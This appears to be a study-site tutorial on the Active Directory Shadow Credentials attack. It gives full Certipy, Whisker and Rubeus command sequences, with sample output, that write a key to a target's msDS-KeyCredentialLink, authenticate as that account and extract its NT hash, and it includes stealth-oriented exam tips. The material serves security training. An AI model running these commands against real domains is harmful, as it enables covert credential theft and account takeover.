← Research Hub
Active Directory

Shadow Credentials Attack

msDS-KeyCredentialLink manipulation via Whisker or Certipy β€” obtaining NT hashes of users and computers without password resets using PKINIT.

How Shadow Credentials Work

Windows supports PKINIT (public key authentication) for Kerberos. The msDS-KeyCredentialLink attribute on a user/computer object stores trusted public keys for certificate-based authentication. If you can write to this attribute (via GenericWrite, WriteProperty, or Owns), you can add your own key pair β€” then authenticate as that user using PKINIT and extract their NT hash without ever knowing their password.

Requirements

  • Write access to msDS-KeyCredentialLink on a user or computer object (BloodHound: GenericWrite, WriteProperty, Owns edges)
  • Domain functional level 2016+ (PKINIT must be supported)
  • A Domain Controller running Active Directory Certificate Services is NOT required β€” PKINIT works without ADCS

Attack with Certipy

# Auto mode β€” does everything: add key, authenticate, get hash, clean up
certipy shadow auto -u 'jdoe@corp.local' -p 'Password1!' \
  -account 'targetuser' -dc-ip 10.10.10.5

# Output:
# [*] Targeting user 'targetuser'
# [*] Generating certificate
# [*] Adding Key Credential with device ID 'abc123...'
# [*] Authenticating as 'targetuser' with the certificate
# [*] Got hash for 'targetuser@corp.local': aad3b435b51404ee:e3e3e3...

# Manual β€” if you need control over each step:
# Step 1: Add your key to the target
certipy shadow add -u 'jdoe@corp.local' -p 'Password1!' \
  -account 'targetuser' -dc-ip 10.10.10.5
# Saves: targetuser.pfx, targetuser_key.pem, device ID

# Step 2: Authenticate as target using your certificate
certipy auth -pfx targetuser.pfx -dc-ip 10.10.10.5
# Output: NT hash + TGT saved to targetuser.ccache

# Step 3: Clean up β€” remove the key credential
certipy shadow remove -u 'jdoe@corp.local' -p 'Password1!' \
  -account 'targetuser' -device-id <UUID> -dc-ip 10.10.10.5

Attack with Whisker (Windows)

# Whisker β€” C# tool for Shadow Credentials
# https://github.com/eladshamir/Whisker

# List current key credentials on target
.Whisker.exe list /target:targetuser /domain:corp.local /dc:DC01

# Add shadow credential
.Whisker.exe add /target:targetuser /domain:corp.local /dc:DC01 /path:output.pfx /password:certPass123

# Output includes Rubeus command to use the cert:
.Rubeus.exe asktgt /user:targetuser /certificate:output.pfx \
  /password:certPass123 /domain:corp.local /dc:DC01 /getcredentials /show

# getcredentials flag extracts NT hash from PAC in TGT
Computer Accounts: Shadow Credentials works on computer accounts too. If you have GenericWrite on a computer object, you can get its NT hash and use it for Silver Ticket or S4U attacks.

Exam Tips

  • Shadow Credentials is a stealthy alternative to password reset (ForceChangePassword) β€” no account lockout, no password change notification
  • BloodHound edges: GenericWrite on any user/computer β†’ Shadow Credentials attack is viable
  • Verify the domain supports PKINIT before attempting: certipy find output shows DC cert capabilities
  • The -account flag accepts the sAMAccountName (e.g., jdoe not jdoe@corp.local)
  • If PKINIT-based auth fails (DC lacks a KDC certificate), use the auto mode with LDAP shell fallback: certipy shadow auto -ldap-shell -u jdoe@corp.local -p 'Pass' -account targetuser -dc-ip DC_IP β€” the -ldap-shell flag belongs on shadow auto, not on certipy auth